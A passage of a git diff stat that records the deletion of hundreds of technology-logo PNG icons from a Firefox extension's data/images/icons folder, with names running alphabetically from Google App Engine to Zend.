bytes .../data/images/icons/Google App Engine.png | Bin 1745 -> 0 bytes .../data/images/icons/Google Charts.png | Bin 551 -> 0 bytes .../images/icons/Google Code Prettify.png | Bin 1274 -> 0 bytes .../data/images/icons/Google Font API.png | Bin 1459 -> 0 bytes .../images/icons/Google Friend Connect.png | Bin 1274 -> 0 bytes .../firefox/data/images/icons/Google Maps.png | Bin 1954 -> 0 bytes .../data/images/icons/Google PageSpeed.png | Bin 578 -> 0 bytes .../data/images/icons/Google Sites.png | Bin 2342 -> 0 bytes .../data/images/icons/Google Tag Manager.png | Bin 737 -> 0 bytes .../data/images/icons/Google Wallet.png | Bin 1116 -> 0 bytes .../data/images/icons/Google Web Toolkit.png | Bin 1970 -> 0 bytes .../data/images/icons/Graffiti CMS.png | Bin 385 -> 0 bytes .../firefox/data/images/icons/Grandstream.png | Bin 384 -> 0 bytes .../firefox/data/images/icons/Gravatar.png | Bin 1243 -> 0 bytes .../data/images/icons/Gravity Insights.png | Bin 257 -> 0 bytes .../data/images/icons/Green Valley CMS.png | Bin 375 -> 0 bytes .../data/images/icons/HP ChaiServer.png | Bin 589 -> 0 bytes .../data/images/icons/HP Compact Server.png | Bin 589 -> 0 bytes .../firefox/data/images/icons/HP ProCurve.png | Bin 589 -> 0 bytes .../images/icons/HP System Management.png | Bin 589 -> 0 bytes .../firefox/data/images/icons/HP iLO.png | Bin 589 -> 0 bytes .../drivers/firefox/data/images/icons/HP.png | Bin 589 -> 0 bytes .../firefox/data/images/icons/HTTP-Server.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Handlebars.png | Bin 1284 -> 0 bytes .../data/images/icons/Happy ICS Server.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/HeadJS.png | Bin 1285 -> 0 bytes .../firefox/data/images/icons/Hello Bar.png | Bin 323 -> 0 bytes .../firefox/data/images/icons/Hiawatha.png | Bin 493 -> 0 bytes .../firefox/data/images/icons/Highcharts.png | Bin 1091 -> 0 bytes .../firefox/data/images/icons/Highstock.png | Bin 1091 -> 0 bytes .../firefox/data/images/icons/Hippo.png | Bin 780 -> 0 bytes .../firefox/data/images/icons/Hogan.js.png | Bin 365 -> 0 bytes .../firefox/data/images/icons/Hotaru CMS.png | Bin 599 -> 0 bytes .../firefox/data/images/icons/HubSpot.png | Bin 497 -> 0 bytes .../firefox/data/images/icons/Hybris.png | Bin 906 -> 0 bytes .../data/images/icons/IBM Coremetrics.png | Bin 102 -> 0 bytes .../data/images/icons/IBM HTTP Server.png | Bin 102 -> 0 bytes .../icons/IBM Tivoli Storage Manager.png | Bin 102 -> 0 bytes .../images/icons/IBM WebSphere Commerce.png | Bin 102 -> 0 bytes .../images/icons/IBM WebSphere Portal.png | Bin 102 -> 0 bytes .../drivers/firefox/data/images/icons/IIS.png | Bin 494 -> 0 bytes .../drivers/firefox/data/images/icons/IPB.png | Bin 217 -> 0 bytes .../firefox/data/images/icons/ImpressCMS.png | Bin 408 -> 0 bytes .../data/images/icons/ImpressPages.png | Bin 254 -> 0 bytes .../firefox/data/images/icons/InProces.png | Bin 429 -> 0 bytes .../firefox/data/images/icons/Incapsula.png | Bin 1025 -> 0 bytes .../firefox/data/images/icons/Indexhibit.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Indico.png | Bin 380 -> 0 bytes .../firefox/data/images/icons/Indy.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/InstantCMS.png | Bin 280 -> 0 bytes .../Intel Active Management Technology.png | Bin 604 -> 0 bytes .../data/images/icons/IntenseDebate.png | Bin 717 -> 0 bytes .../firefox/data/images/icons/Intercom.png | Bin 540 -> 0 bytes .../firefox/data/images/icons/Intershop.png | Bin 138 -> 0 bytes .../firefox/data/images/icons/Invenio.png | Bin 1756 -> 0 bytes .../firefox/data/images/icons/Ionicons.png | Bin 887 -> 0 bytes .../firefox/data/images/icons/JAlbum.png | Bin 454 -> 0 bytes .../images/icons/JBoss Application Server.png | Bin 1772 -> 0 bytes .../firefox/data/images/icons/JBoss Web.png | Bin 1194 -> 0 bytes .../firefox/data/images/icons/JC-HTTPD.png | Bin 678 -> 0 bytes .../firefox/data/images/icons/JS Charts.png | Bin 271 -> 0 bytes .../firefox/data/images/icons/JTL Shop.png | Bin 253 -> 0 bytes .../firefox/data/images/icons/Jalios.png | Bin 246 -> 0 bytes .../data/images/icons/Java Servlet.png | Bin 1496 -> 0 bytes .../firefox/data/images/icons/Java.png | Bin 1496 -> 0 bytes .../data/images/icons/JavaServer Faces.png | Bin 183 -> 0 bytes .../data/images/icons/JavaServer Pages.png | Bin 1496 -> 0 bytes .../icons/Javascript Infovis Toolkit.png | Bin 377 -> 0 bytes .../firefox/data/images/icons/Jekyll.png | Bin 1145 -> 0 bytes .../firefox/data/images/icons/Jenkins.png | Bin 2000 -> 0 bytes .../firefox/data/images/icons/Jetty.png | Bin 672 -> 0 bytes .../firefox/data/images/icons/Jirafe.png | Bin 444 -> 0 bytes .../drivers/firefox/data/images/icons/Jo.png | Bin 247 -> 0 bytes .../firefox/data/images/icons/JobberBase.png | Bin 252 -> 0 bytes .../firefox/data/images/icons/Joomla.png | Bin 929 -> 0 bytes .../drivers/firefox/data/images/icons/K2.png | Bin 620 -> 0 bytes .../firefox/data/images/icons/KISSmetrics.png | Bin 724 -> 0 bytes .../firefox/data/images/icons/KS_HTTP.png | Bin 678 -> 0 bytes .../firefox/data/images/icons/Kampyle.png | Bin 805 -> 0 bytes .../firefox/data/images/icons/Kendo UI.png | Bin 634 -> 0 bytes .../firefox/data/images/icons/Kentico CMS.png | Bin 714 -> 0 bytes .../firefox/data/images/icons/KineticJS.png | Bin 1176 -> 0 bytes .../firefox/data/images/icons/Knockout.js.png | Bin 972 -> 0 bytes .../drivers/firefox/data/images/icons/Koa.png | Bin 888 -> 0 bytes .../data/images/icons/Koala Framework.png | Bin 2587 -> 0 bytes .../firefox/data/images/icons/Koego.png | Bin 140 -> 0 bytes .../firefox/data/images/icons/Kohana.png | Bin 597 -> 0 bytes .../firefox/data/images/icons/Kolibri CMS.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Komodo CMS.png | Bin 214 -> 0 bytes .../firefox/data/images/icons/Koobi.png | Bin 475 -> 0 bytes .../firefox/data/images/icons/Kooboo CMS.png | Bin 1659 -> 0 bytes .../firefox/data/images/icons/LEPTON.png | Bin 393 -> 0 bytes .../firefox/data/images/icons/LabVIEW.png | Bin 180 -> 0 bytes .../firefox/data/images/icons/Laravel.png | Bin 318 -> 0 bytes .../firefox/data/images/icons/Leaflet.png | Bin 424 -> 0 bytes .../firefox/data/images/icons/Less.png | Bin 1337 -> 0 bytes .../firefox/data/images/icons/Liferay.png | Bin 518 -> 0 bytes .../firefox/data/images/icons/Lift.png | Bin 734 -> 0 bytes .../data/images/icons/LightMon Engine.png | Bin 684 -> 0 bytes .../firefox/data/images/icons/Lightbox.png | Bin 158 -> 0 bytes .../firefox/data/images/icons/LimeSurvey.png | Bin 633 -> 0 bytes .../firefox/data/images/icons/LinkSmart.png | Bin 900 -> 0 bytes .../firefox/data/images/icons/LiteSpeed.png | Bin 194 -> 0 bytes .../firefox/data/images/icons/LiveJournal.png | Bin 1853 -> 0 bytes .../data/images/icons/LiveStreet CMS.png | Bin 743 -> 0 bytes .../firefox/data/images/icons/Livefyre.png | Bin 653 -> 0 bytes .../firefox/data/images/icons/Lo-dash.png | Bin 1379 -> 0 bytes .../data/images/icons/Lockerz Share.png | Bin 249 -> 0 bytes .../firefox/data/images/icons/Locomotive.png | Bin 680 -> 0 bytes .../firefox/data/images/icons/Lodash.png | Bin 211 -> 0 bytes .../images/icons/Logitech Media Server.png | Bin 240 -> 0 bytes .../data/images/icons/Lotus Domino.png | Bin 102 -> 0 bytes .../drivers/firefox/data/images/icons/Lua.png | Bin 1029 -> 0 bytes .../data/images/icons/M.R. Inc Webserver.png | Bin 1049 -> 0 bytes .../data/images/icons/M.R. Inc Wild CMS.png | Bin 1049 -> 0 bytes .../firefox/data/images/icons/MOBOTIX.png | Bin 645 -> 0 bytes .../firefox/data/images/icons/MODx.png | Bin 1610 -> 0 bytes .../firefox/data/images/icons/Magento.png | Bin 583 -> 0 bytes .../firefox/data/images/icons/Mambo.png | Bin 763 -> 0 bytes .../firefox/data/images/icons/MantisBT.png | Bin 349 -> 0 bytes .../data/images/icons/ManyContacts.png | Bin 371 -> 0 bytes .../firefox/data/images/icons/Marketo.png | Bin 1229 -> 0 bytes .../firefox/data/images/icons/MathJax.png | Bin 1051 -> 0 bytes .../firefox/data/images/icons/MaxSite CMS.png | Bin 772 -> 0 bytes .../data/images/icons/MediaElement.js.png | Bin 105 -> 0 bytes .../firefox/data/images/icons/MediaTomb.png | Bin 995 -> 0 bytes .../firefox/data/images/icons/MediaWiki.png | Bin 2244 -> 0 bytes .../firefox/data/images/icons/Meebo.png | Bin 129 -> 0 bytes .../firefox/data/images/icons/Methode.png | Bin 833 -> 0 bytes .../data/images/icons/Microsoft ASP.NET.png | Bin 1058 -> 0 bytes .../data/images/icons/Microsoft HTTPAPI.png | Bin 157 -> 0 bytes .../images/icons/Microsoft SharePoint.png | Bin 753 -> 0 bytes .../firefox/data/images/icons/MiniBB.png | Bin 142 -> 0 bytes .../firefox/data/images/icons/MiniServ.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Mint.png | Bin 348 -> 0 bytes .../firefox/data/images/icons/Mixpanel.png | Bin 1714 -> 0 bytes .../firefox/data/images/icons/Mobify.png | Bin 663 -> 0 bytes .../firefox/data/images/icons/MochiKit.png | Bin 535 -> 0 bytes .../firefox/data/images/icons/MochiWeb.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Modernizr.png | Bin 112 -> 0 bytes .../firefox/data/images/icons/MoinMoin.png | Bin 379 -> 0 bytes .../firefox/data/images/icons/Mojolicious.png | Bin 655 -> 0 bytes .../firefox/data/images/icons/Mollom.png | Bin 372 -> 0 bytes .../data/images/icons/Moment Timezone.png | Bin 524 -> 0 bytes .../firefox/data/images/icons/Moment.js.png | Bin 524 -> 0 bytes .../firefox/data/images/icons/Mondo Media.png | Bin 607 -> 0 bytes .../firefox/data/images/icons/MongoDB.png | Bin 762 -> 0 bytes .../firefox/data/images/icons/Mongrel.png | Bin 977 -> 0 bytes .../data/images/icons/Monkey HTTP Server.png | Bin 2722 -> 0 bytes .../firefox/data/images/icons/Mono.net.png | Bin 717 -> 0 bytes .../firefox/data/images/icons/Mono.png | Bin 647 -> 0 bytes .../firefox/data/images/icons/MooTools.png | Bin 1398 -> 0 bytes .../firefox/data/images/icons/Moodle.png | Bin 1253 -> 0 bytes .../firefox/data/images/icons/Moogo.png | Bin 440 -> 0 bytes .../data/images/icons/Motion-httpd.png | Bin 1379 -> 0 bytes .../data/images/icons/Movable Type.png | Bin 403 -> 0 bytes .../firefox/data/images/icons/Moxa.png | Bin 536 -> 0 bytes .../data/images/icons/Mozard Suite.png | Bin 425 -> 0 bytes .../firefox/data/images/icons/Mura CMS.png | Bin 677 -> 0 bytes .../firefox/data/images/icons/Mustache.png | Bin 266 -> 0 bytes .../firefox/data/images/icons/MyBB.png | Bin 156 -> 0 bytes .../firefox/data/images/icons/MyBlogLog.png | Bin 701 -> 0 bytes .../firefox/data/images/icons/MySQL.png | Bin 620 -> 0 bytes .../firefox/data/images/icons/Mynetcap.png | Bin 465 -> 0 bytes .../firefox/data/images/icons/NOIX.png | Bin 430 -> 0 bytes .../firefox/data/images/icons/NVD3.png | Bin 1025 -> 0 bytes .../firefox/data/images/icons/Nedstat.png | Bin 331 -> 0 bytes .../firefox/data/images/icons/Nepso.png | Bin 1855 -> 0 bytes .../firefox/data/images/icons/Netmonitor.png | Bin 902 -> 0 bytes .../data/images/icons/Nette Framework.png | Bin 1680 -> 0 bytes .../firefox/data/images/icons/New Relic.png | Bin 1439 -> 0 bytes .../firefox/data/images/icons/Nginx.png | Bin 738 -> 0 bytes .../firefox/data/images/icons/Nokia Maps.png | Bin 515 -> 0 bytes .../firefox/data/images/icons/OXID eShop.png | Bin 384 -> 0 bytes .../firefox/data/images/icons/October CMS.png | Bin 700 -> 0 bytes .../icons/OmniTouch 8660 My Teamwork.png | Bin 2034 -> 0 bytes .../firefox/data/images/icons/OneStat.png | Bin 909 -> 0 bytes .../data/images/icons/Open AdStream.png | Bin 2124 -> 0 bytes .../images/icons/Open Journal Systems.png | Bin 196 -> 0 bytes .../data/images/icons/Open Web Analytics.png | Bin 158 -> 0 bytes .../firefox/data/images/icons/OpenCart.png | Bin 456 -> 0 bytes .../firefox/data/images/icons/OpenGSE.png | Bin 1274 -> 0 bytes .../firefox/data/images/icons/OpenGrok.png | Bin 427 -> 0 bytes .../firefox/data/images/icons/OpenLayers.png | Bin 555 -> 0 bytes .../firefox/data/images/icons/OpenNemas.png | Bin 245 -> 0 bytes .../firefox/data/images/icons/OpenSSL.png | Bin 693 -> 0 bytes .../images/icons/OpenText Web Solutions.png | Bin 392 -> 0 bytes .../firefox/data/images/icons/Ophal.png | Bin 310 -> 0 bytes .../firefox/data/images/icons/Optimizely.png | Bin 736 -> 0 bytes .../icons/Oracle Application Server.png | Bin 873 -> 0 bytes .../Oracle Dynamic Monitoring Service.png | Bin 873 -> 0 bytes .../data/images/icons/Oracle HTTP Server.png | Bin 873 -> 0 bytes .../Oracle Recommendations On Demand.png | Bin 873 -> 0 bytes .../data/images/icons/Oracle Web Cache.png | Bin 873 -> 0 bytes .../firefox/data/images/icons/Outbrain.png | Bin 527 -> 0 bytes .../data/images/icons/Outlook Web App.png | Bin 4258 -> 0 bytes .../firefox/data/images/icons/PANSITE.png | Bin 525 -> 0 bytes .../firefox/data/images/icons/PDF.js.png | Bin 1630 -> 0 bytes .../firefox/data/images/icons/PHP-Fusion.png | Bin 647 -> 0 bytes .../firefox/data/images/icons/PHP-Nuke.png | Bin 746 -> 0 bytes .../drivers/firefox/data/images/icons/PHP.png | Bin 822 -> 0 bytes .../firefox/data/images/icons/Pagekit.png | Bin 129 -> 0 bytes .../firefox/data/images/icons/Pardot.png | Bin 1499 -> 0 bytes .../firefox/data/images/icons/Parse.ly.png | Bin 421 -> 0 bytes .../firefox/data/images/icons/PayPal.png | Bin 1221 -> 0 bytes .../firefox/data/images/icons/PencilBlue.png | Bin 503 -> 0 bytes .../firefox/data/images/icons/Percussion.png | Bin 308 -> 0 bytes .../data/images/icons/PerfSONAR-PS.png | Bin 647 -> 0 bytes .../firefox/data/images/icons/Perl.png | Bin 2241 -> 0 bytes .../firefox/data/images/icons/Petrojs.png | Bin 3206 -> 0 bytes .../firefox/data/images/icons/Phaser.png | Bin 329 -> 0 bytes .../firefox/data/images/icons/Piano Solo.png | Bin 1684 -> 0 bytes .../firefox/data/images/icons/Piwik.png | Bin 310 -> 0 bytes .../firefox/data/images/icons/Planet.png | Bin 628 -> 0 bytes .../data/images/icons/Plentymarkets.png | Bin 193 -> 0 bytes .../firefox/data/images/icons/Plesk.png | Bin 724 -> 0 bytes .../firefox/data/images/icons/Pligg.png | Bin 438 -> 0 bytes .../firefox/data/images/icons/Plone.png | Bin 188 -> 0 bytes .../firefox/data/images/icons/Plura.png | Bin 602 -> 0 bytes .../firefox/data/images/icons/Po.st.png | Bin 653 -> 0 bytes .../firefox/data/images/icons/Polymer.png | Bin 1516 -> 0 bytes .../firefox/data/images/icons/Posterous.png | Bin 260 -> 0 bytes .../firefox/data/images/icons/Powergap.png | Bin 668 -> 0 bytes .../firefox/data/images/icons/Prefix-Free.png | Bin 489 -> 0 bytes .../firefox/data/images/icons/Prestashop.png | Bin 1083 -> 0 bytes .../data/images/icons/Project Wonderful.png | Bin 1894 -> 0 bytes .../firefox/data/images/icons/Prototype.png | Bin 536 -> 0 bytes .../firefox/data/images/icons/Protovis.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Pure CSS.png | Bin 459 -> 0 bytes .../firefox/data/images/icons/Python.png | Bin 755 -> 0 bytes .../firefox/data/images/icons/Quantcast.png | Bin 660 -> 0 bytes .../firefox/data/images/icons/Quick.CMS.png | Bin 250 -> 0 bytes .../firefox/data/images/icons/Quick.Cart.png | Bin 250 -> 0 bytes .../data/images/icons/RAID HTTPServer.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/RBS Change.png | Bin 343 -> 0 bytes .../firefox/data/images/icons/RCMS.png | Bin 439 -> 0 bytes .../firefox/data/images/icons/RDoc.png | Bin 408 -> 0 bytes .../firefox/data/images/icons/RackCache.png | Bin 204 -> 0 bytes .../firefox/data/images/icons/Raphael.png | Bin 1105 -> 0 bytes .../firefox/data/images/icons/Rapid Logic.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/React.png | Bin 561 -> 0 bytes .../firefox/data/images/icons/ReallyCMS.png | Bin 781 -> 0 bytes .../firefox/data/images/icons/Red Hat.png | Bin 1440 -> 0 bytes .../firefox/data/images/icons/Reddit.png | Bin 1282 -> 0 bytes .../firefox/data/images/icons/Redmine.png | Bin 687 -> 0 bytes .../data/images/icons/Reinvigorate.png | Bin 707 -> 0 bytes .../firefox/data/images/icons/RequireJS.png | Bin 345 -> 0 bytes .../firefox/data/images/icons/Reveal.js.png | Bin 108 -> 0 bytes .../firefox/data/images/icons/RiteCMS.png | Bin 245 -> 0 bytes .../firefox/data/images/icons/RoundCube.png | Bin 2108 -> 0 bytes .../data/images/icons/Ruby on Rails.png | Bin 1054 -> 0 bytes .../firefox/data/images/icons/Ruby.png | Bin 2280 -> 0 bytes .../firefox/data/images/icons/S.Builder.png | Bin 204 -> 0 bytes .../drivers/firefox/data/images/icons/SAP.png | Bin 348 -> 0 bytes .../firefox/data/images/icons/SDL Tridion.png | Bin 625 -> 0 bytes .../firefox/data/images/icons/SIMsite.png | Bin 1789 -> 0 bytes .../drivers/firefox/data/images/icons/SMF.png | Bin 255 -> 0 bytes .../firefox/data/images/icons/SOBI 2.png | Bin 149 -> 0 bytes .../firefox/data/images/icons/SPDY.png | Bin 677 -> 0 bytes .../firefox/data/images/icons/SPIP.png | Bin 1616 -> 0 bytes .../firefox/data/images/icons/SQL Buddy.png | Bin 239 -> 0 bytes .../firefox/data/images/icons/SQLite.png | Bin 627 -> 0 bytes .../firefox/data/images/icons/SUSE.png | Bin 398 -> 0 bytes .../firefox/data/images/icons/SWFObject.png | Bin 745 -> 0 bytes .../firefox/data/images/icons/Saia PCD.png | Bin 336 -> 0 bytes .../firefox/data/images/icons/Sarka-SPIP.png | Bin 2106 -> 0 bytes .../firefox/data/images/icons/Scala.png | Bin 1012 -> 0 bytes .../images/icons/Schneider Web Server.png | Bin 1473 -> 0 bytes .../firefox/data/images/icons/Schneider.png | Bin 1473 -> 0 bytes .../data/images/icons/Scientific Linux.png | Bin 171 -> 0 bytes .../data/images/icons/Sencha Touch.png | Bin 480 -> 0 bytes .../images/icons/Sentinel Keys Server.png | Bin 85 -> 0 bytes .../images/icons/Sentinel License Monitor.png | Bin 85 -> 0 bytes .../icons/Sentinel Protection Server.png | Bin 85 -> 0 bytes .../firefox/data/images/icons/Seoshop.png | Bin 772 -> 0 bytes .../firefox/data/images/icons/Serendipity.png | Bin 757 -> 0 bytes .../firefox/data/images/icons/Shadow.png | Bin 912 -> 0 bytes .../firefox/data/images/icons/ShareThis.png | Bin 667 -> 0 bytes .../firefox/data/images/icons/ShinyStat.png | Bin 222 -> 0 bytes .../firefox/data/images/icons/Shopalize.png | Bin 711 -> 0 bytes .../firefox/data/images/icons/Shopatron.png | Bin 299 -> 0 bytes .../firefox/data/images/icons/Shopify.png | Bin 2054 -> 0 bytes .../firefox/data/images/icons/Shopware.png | Bin 601 -> 0 bytes .../firefox/data/images/icons/Silva.png | Bin 724 -> 0 bytes .../data/images/icons/SilverStripe.png | Bin 168 -> 0 bytes .../firefox/data/images/icons/SimpleHTTP.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Site Meter.png | Bin 382 -> 0 bytes .../data/images/icons/SiteCatalyst.png | Bin 623 -> 0 bytes .../firefox/data/images/icons/SiteDNK.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/SiteEdit.png | Bin 254 -> 0 bytes .../firefox/data/images/icons/Sitecore.png | Bin 493 -> 0 bytes .../data/images/icons/Sivuviidakko.png | Bin 1658 -> 0 bytes .../firefox/data/images/icons/Sizmek.png | Bin 642 -> 0 bytes .../firefox/data/images/icons/Skimlinks.png | Bin 635 -> 0 bytes .../firefox/data/images/icons/Slimbox 2.png | Bin 1309 -> 0 bytes .../firefox/data/images/icons/Slimbox.png | Bin 1309 -> 0 bytes .../data/images/icons/Smart Ad Server.png | Bin 163 -> 0 bytes .../firefox/data/images/icons/SmartSite.png | Bin 412 -> 0 bytes .../firefox/data/images/icons/Smartstore.png | Bin 284 -> 0 bytes .../firefox/data/images/icons/Snap.svg.png | Bin 689 -> 0 bytes .../firefox/data/images/icons/Snoobi.png | Bin 416 -> 0 bytes .../firefox/data/images/icons/SobiPro.png | Bin 190 -> 0 bytes .../firefox/data/images/icons/Socket.io.png | Bin 1628 -> 0 bytes .../firefox/data/images/icons/Solodev.png | Bin 252 -> 0 bytes .../data/images/icons/SoundManager.png | Bin 537 -> 0 bytes .../firefox/data/images/icons/Sphinx.png | Bin 590 -> 0 bytes .../images/icons/SpiderControl iniNet.png | Bin 652 -> 0 bytes .../firefox/data/images/icons/Splunk.png | Bin 419 -> 0 bytes .../firefox/data/images/icons/Splunkd.png | Bin 419 -> 0 bytes .../firefox/data/images/icons/Spree.png | Bin 431 -> 0 bytes .../firefox/data/images/icons/Squarespace.png | Bin 2098 -> 0 bytes .../data/images/icons/Squiz Matrix.png | Bin 699 -> 0 bytes .../firefox/data/images/icons/Starlet.png | Bin 2241 -> 0 bytes .../firefox/data/images/icons/StatCounter.png | Bin 575 -> 0 bytes .../data/images/icons/Store Systems.png | Bin 558 -> 0 bytes .../firefox/data/images/icons/Stripe.png | Bin 737 -> 0 bytes .../data/images/icons/SublimeVideo.png | Bin 802 -> 0 bytes .../firefox/data/images/icons/Subrion.png | Bin 906 -> 0 bytes .../firefox/data/images/icons/SunOS.png | Bin 873 -> 0 bytes .../firefox/data/images/icons/Supersized.png | Bin 292 -> 0 bytes .../firefox/data/images/icons/Swiftlet.png | Bin 1187 -> 0 bytes .../images/icons/Synology DiskStation.png | Bin 922 -> 0 bytes .../firefox/data/images/icons/TWiki.png | Bin 317 -> 0 bytes .../firefox/data/images/icons/TYPO3 CMS.png | Bin 941 -> 0 bytes .../firefox/data/images/icons/TYPO3 Flow.png | Bin 941 -> 0 bytes .../firefox/data/images/icons/TYPO3 Neos.png | Bin 941 -> 0 bytes .../firefox/data/images/icons/TYPO3.png | Bin 942 -> 0 bytes .../firefox/data/images/icons/TYPOlight.png | Bin 702 -> 0 bytes .../firefox/data/images/icons/Tealeaf.png | Bin 367 -> 0 bytes .../firefox/data/images/icons/TeamCity.png | Bin 528 -> 0 bytes .../firefox/data/images/icons/Tengine.png | Bin 1914 -> 0 bytes .../data/images/icons/Textpattern CMS.png | Bin 1768 -> 0 bytes .../firefox/data/images/icons/TiddlyWiki.png | Bin 843 -> 0 bytes .../images/icons/Tiki Wiki CMS Groupware.png | Bin 694 -> 0 bytes .../firefox/data/images/icons/Timeline.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Timeplot.png | Bin 724 -> 0 bytes .../firefox/data/images/icons/TinyMCE.png | Bin 267 -> 0 bytes .../firefox/data/images/icons/Titan.png | Bin 152 -> 0 bytes .../firefox/data/images/icons/TomatoCart.png | Bin 196 -> 0 bytes .../data/images/icons/TornadoServer.png | Bin 809 -> 0 bytes .../firefox/data/images/icons/Trac.png | Bin 1815 -> 0 bytes .../firefox/data/images/icons/TrackJs.png | Bin 3728 -> 0 bytes .../firefox/data/images/icons/Tumblr.png | Bin 456 -> 0 bytes .../data/images/icons/Twilight CMS.png | Bin 426 -> 0 bytes .../firefox/data/images/icons/TwistPHP.png | Bin 1722 -> 0 bytes .../firefox/data/images/icons/TwistedWeb.png | Bin 395 -> 0 bytes .../data/images/icons/Twitter Bootstrap.png | Bin 1427 -> 0 bytes .../firefox/data/images/icons/TypePad.png | Bin 629 -> 0 bytes .../firefox/data/images/icons/Typekit.png | Bin 896 -> 0 bytes .../firefox/data/images/icons/UIKit.png | Bin 393 -> 0 bytes .../firefox/data/images/icons/UNIX.png | Bin 1599 -> 0 bytes .../firefox/data/images/icons/Ubercart.png | Bin 826 -> 0 bytes .../firefox/data/images/icons/Ubuntu.png | Bin 951 -> 0 bytes .../firefox/data/images/icons/UltraCart.png | Bin 2545 -> 0 bytes .../firefox/data/images/icons/Umbraco.png | Bin 671 -> 0 bytes .../data/images/icons/Underscore.js.png | Bin 110 -> 0 bytes .../firefox/data/images/icons/UserRules.png | Bin 831 -> 0 bytes .../firefox/data/images/icons/UserVoice.png | Bin 589 -> 0 bytes .../firefox/data/images/icons/Ushahidi.png | Bin 2760 -> 0 bytes .../firefox/data/images/icons/VIVVO.png | Bin 218 -> 0 bytes .../firefox/data/images/icons/VP-ASP.png | Bin 248 -> 0 bytes .../firefox/data/images/icons/Vanilla.png | Bin 1948 -> 0 bytes .../firefox/data/images/icons/Varnish.png | Bin 325 -> 0 bytes .../firefox/data/images/icons/Veoxa.png | Bin 1462 -> 0 bytes .../firefox/data/images/icons/VideoJS.png | Bin 311 -> 0 bytes .../firefox/data/images/icons/VigLink.png | Bin 1179 -> 0 bytes .../firefox/data/images/icons/Vignette.png | Bin 393 -> 0 bytes .../firefox/data/images/icons/Vimeo.png | Bin 634 -> 0 bytes .../data/images/icons/Virata EmWeb.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/VirtueMart.png | Bin 1878 -> 0 bytes .../data/images/icons/Visual WebGUI.png | Bin 1486 -> 0 bytes .../firefox/data/images/icons/VisualPath.png | Bin 557 -> 0 bytes .../firefox/data/images/icons/Volusion.png | Bin 334 -> 0 bytes .../drivers/firefox/data/images/icons/Vox.png | Bin 171 -> 0 bytes .../firefox/data/images/icons/Vue.js.png | Bin 594 -> 0 bytes .../data/images/icons/W3 Total Cache.png | Bin 508 -> 0 bytes .../firefox/data/images/icons/W3Counter.png | Bin 1693 -> 0 bytes .../firefox/data/images/icons/WP Rocket.png | Bin 694 -> 0 bytes .../data/images/icons/Web Optimizer.png | Bin 520 -> 0 bytes .../firefox/data/images/icons/Web2py.png | Bin 133 -> 0 bytes .../firefox/data/images/icons/WebGUI.png | Bin 1973 -> 0 bytes .../data/images/icons/WebPublisher.png | Bin 340 -> 0 bytes .../firefox/data/images/icons/Webix.png | Bin 1926 -> 0 bytes .../firefox/data/images/icons/WebsPlanet.png | Bin 369 -> 0 bytes .../firefox/data/images/icons/Websale.png | Bin 531 -> 0 bytes .../data/images/icons/WebsiteBaker.png | Bin 603 -> 0 bytes .../firefox/data/images/icons/Webtrekk.png | Bin 337 -> 0 bytes .../firefox/data/images/icons/Webtrends.png | Bin 849 -> 0 bytes .../firefox/data/images/icons/Weebly.png | Bin 350 -> 0 bytes .../firefox/data/images/icons/WikkaWiki.png | Bin 667 -> 0 bytes .../firefox/data/images/icons/Windows CE.png | Bin 157 -> 0 bytes .../data/images/icons/Windows Server.png | Bin 157 -> 0 bytes .../firefox/data/images/icons/Wink.png | Bin 436 -> 0 bytes .../icons/Winstone Servlet Container.png | Bin 1379 -> 0 bytes .../drivers/firefox/data/images/icons/Wix.png | Bin 587 -> 0 bytes .../firefox/data/images/icons/Wolf CMS.png | Bin 231 -> 0 bytes .../firefox/data/images/icons/WooCommerce.png | Bin 940 -> 0 bytes .../firefox/data/images/icons/Woopra.png | Bin 2465 -> 0 bytes .../images/icons/WordPress Super Cache.png | Bin 1379 -> 0 bytes .../firefox/data/images/icons/Wordpress.png | Bin 2153 -> 0 bytes .../data/images/icons/Wowza Media Server.png | Bin 512 -> 0 bytes .../firefox/data/images/icons/X-Cart.png | Bin 1254 -> 0 bytes .../firefox/data/images/icons/XAMPP.png | Bin 1929 -> 0 bytes .../drivers/firefox/data/images/icons/XMB.png | Bin 697 -> 0 bytes .../firefox/data/images/icons/XOOPS.png | Bin 615 -> 0 bytes .../firefox/data/images/icons/XRegExp.png | Bin 302 -> 0 bytes .../firefox/data/images/icons/Xajax.png | Bin 893 -> 0 bytes .../firefox/data/images/icons/Xanario.png | Bin 465 -> 0 bytes .../firefox/data/images/icons/XenForo.png | Bin 290 -> 0 bytes .../firefox/data/images/icons/XiTi.png | Bin 621 -> 0 bytes .../firefox/data/images/icons/Xitami.png | Bin 175 -> 0 bytes .../firefox/data/images/icons/YUI Doc.png | Bin 1737 -> 0 bytes .../drivers/firefox/data/images/icons/YUI.png | Bin 1287 -> 0 bytes .../firefox/data/images/icons/YaBB.png | Bin 357 -> 0 bytes .../data/images/icons/Yahoo Advertising.png | Bin 1737 -> 0 bytes .../data/images/icons/Yahoo! Ecommerce.png | Bin 1737 -> 0 bytes .../images/icons/Yahoo! Web Analytics.png | Bin 1737 -> 0 bytes .../data/images/icons/Yandex.Direct.png | Bin 2031 -> 0 bytes .../data/images/icons/Yandex.Metrika.png | Bin 1113 -> 0 bytes .../firefox/data/images/icons/Yieldlab.png | Bin 1823 -> 0 bytes .../drivers/firefox/data/images/icons/Yii.png | Bin 729 -> 0 bytes .../firefox/data/images/icons/YouTube.png | Bin 570 -> 0 bytes .../drivers/firefox/data/images/icons/ZK.png | Bin 398 -> 0 bytes .../data/images/icons/ZURB Foundation.png | Bin 833 -> 0 bytes .../firefox/data/images/icons/Zabbix.png | Bin 125 -> 0 bytes .../firefox/data/images/icons/Zanox.png | Bin 789 -> 0 bytes .../firefox/data/images/icons/Zen Cart.png | Bin 938 -> 0 bytes .../firefox/data/images/icons/Zend.png | Bin 1119 -> 0 bytes 